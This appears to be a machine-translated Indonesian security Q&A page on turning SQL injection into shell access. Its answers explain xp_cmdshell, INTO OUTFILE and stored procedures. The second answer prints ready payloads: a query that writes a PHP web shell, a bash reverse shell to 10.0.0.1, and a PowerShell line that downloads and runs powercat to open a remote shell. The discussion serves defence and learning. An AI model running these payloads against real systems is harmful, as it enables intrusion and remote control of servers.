it-swarm-id.com

Memanfaatkan Shell dari injeksi SQL

Seperti yang saya pahami, injeksi SQL seharusnya hanya memungkinkan untuk manipulasi dan pengambilan data, tidak lebih. Dengan asumsi tidak ada kata sandi yang diperoleh, bagaimana injeksi SQL sederhana dapat digunakan untuk memanfaatkan shell?

Saya telah melihat serangan di mana ini telah diklaim dimungkinkan, dan jika itu saya ingin dapat melindunginya.

20
Sonny Ordell

Banyak fungsi dukungan server SQL umum seperti xp_cmdshell yang memungkinkan eksekusi perintah sewenang-wenang. Mereka tidak dalam standar SQL sehingga setiap perangkat lunak database memiliki nama yang berbeda untuk itu.

Selain itu ada SELECT ... INTO OUTFILE, yang dapat digunakan untuk menulis file arbitrer dengan izin dari pengguna basis data. Dimungkinkan untuk menimpa skrip Shell yang dijalankan oleh cron atau saat startup. Jika proses server database berjalan pada server yang sama dengan aplikasi web (mis. Server sewaan tunggal), dimungkinkan untuk menulis file .php yang kemudian dapat dipanggil dengan mengunjungi url yang sesuai di browser.

Cara ketiga untuk menyebabkan kerusakan adalah dengan mendefinisikan dan mengeksekusi prosedur tersimpan dalam database. Atau mendefinisikan kembali prosedur tersimpan yang ada, misalnya fungsi yang memverifikasi kata sandi.

Kemungkinan ada lebih banyak cara.

Pengguna basis data aplikasi tidak boleh memiliki izin untuk menjalankan fungsi Shell atau menggunakan INTO OUTFILE atau untuk mendefinisikan prosedur tersimpan.

25

Ada beberapa cara untuk mendapatkan Shell. Ini beberapa di antaranya. Tautan di bagian bawah akan mengarahkan Anda ke beberapa lembar contekan yang hebat untuk berbagai jenis basis data seperti MSSQL, Oracle, MySQL, dan lainnya.

Tip yang baik untuk mendapatkan Shell adalah memiliki ini membalikkan lembar contekan Shell di saku belakang Anda.

Sampah

Jika Anda tahu di mana harus meletakkan Shell di server (di suatu tempat yang dapat diakses), Anda dapat menggunakan kueri berikut (mysql) untuk membuat misalnya Shell php di server web:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Menemukan di mana Anda harus meletakkan Shell

Anda harus tahu di mana direktori domain berada. Belajar di mana basis data berjalan dapat sangat membantu sehingga permintaan injeksi (mysql) seperti ini mungkin akan memberi tahu Anda tentang arsitektur direktori:

SELECT @@datadir;

Anda juga mungkin beruntung jika Anda mencoba memaksakan pesan kesalahan dari sistem untuk membuatnya memberi tahu Anda di mana itu sedang berjalan. Biasanya pendekatan ini adalah yang termudah karena banyak pesan kesalahan sangat

Menggunakan fungsi DB bawaan (xp_cmdshell)

MSSQL memiliki cara yang relatif mudah untuk memanggil fungsi OS dengan menggunakan fungsi bawaan xp_cmdshell. Ini tidak semudah di MySQL (biasanya membutuhkan prosedur outfile atau disimpan). Oracle juga sangat mudah karena memungkinkan Java kode untuk dieksekusi.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Pernyataan di atas membuat Shell interaktif (-i) mendengarkan pada port 10.0.0.1 8080.

Edit : Tentu saja MSSQL dengan Bash benar-benar tidak mungkin. Tidak memikirkan itu sebelum saya melihat komentar. Alih-alih bash, orang dapat melakukan sebaliknya skrip Powershell, seperti ini:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat dapat diunduh dari sini: https://github.com/besimorhino/powercat

Shell melalui prosedur tersimpan

Jika Anda bisa menggabungkan kueri di titik injeksi, kemungkinan besar Anda bisa membuat prosedur di database. Prosedur ini berfungsi sebagai fungsi yang kemudian dapat Anda panggil dengan qury.

Lihat perintah Shell dari PL SQL untuk detail lebih lanjut tentang ini.

Lain

Sumber yang baik untuk injeksi: pentest monkey

14
Chris Dale

Dengan database Oracle, Anda sebenarnya bisa mengkompilasi dan mengeksekusi Java kode dari query SQL. Saya telah melihat penyerang mengimplementasikan pembungkus Shell dasar di Java untuk Oracle, dan jalankan dan kompilasi dari injeksi SQL. Cukup bagus.

4
chris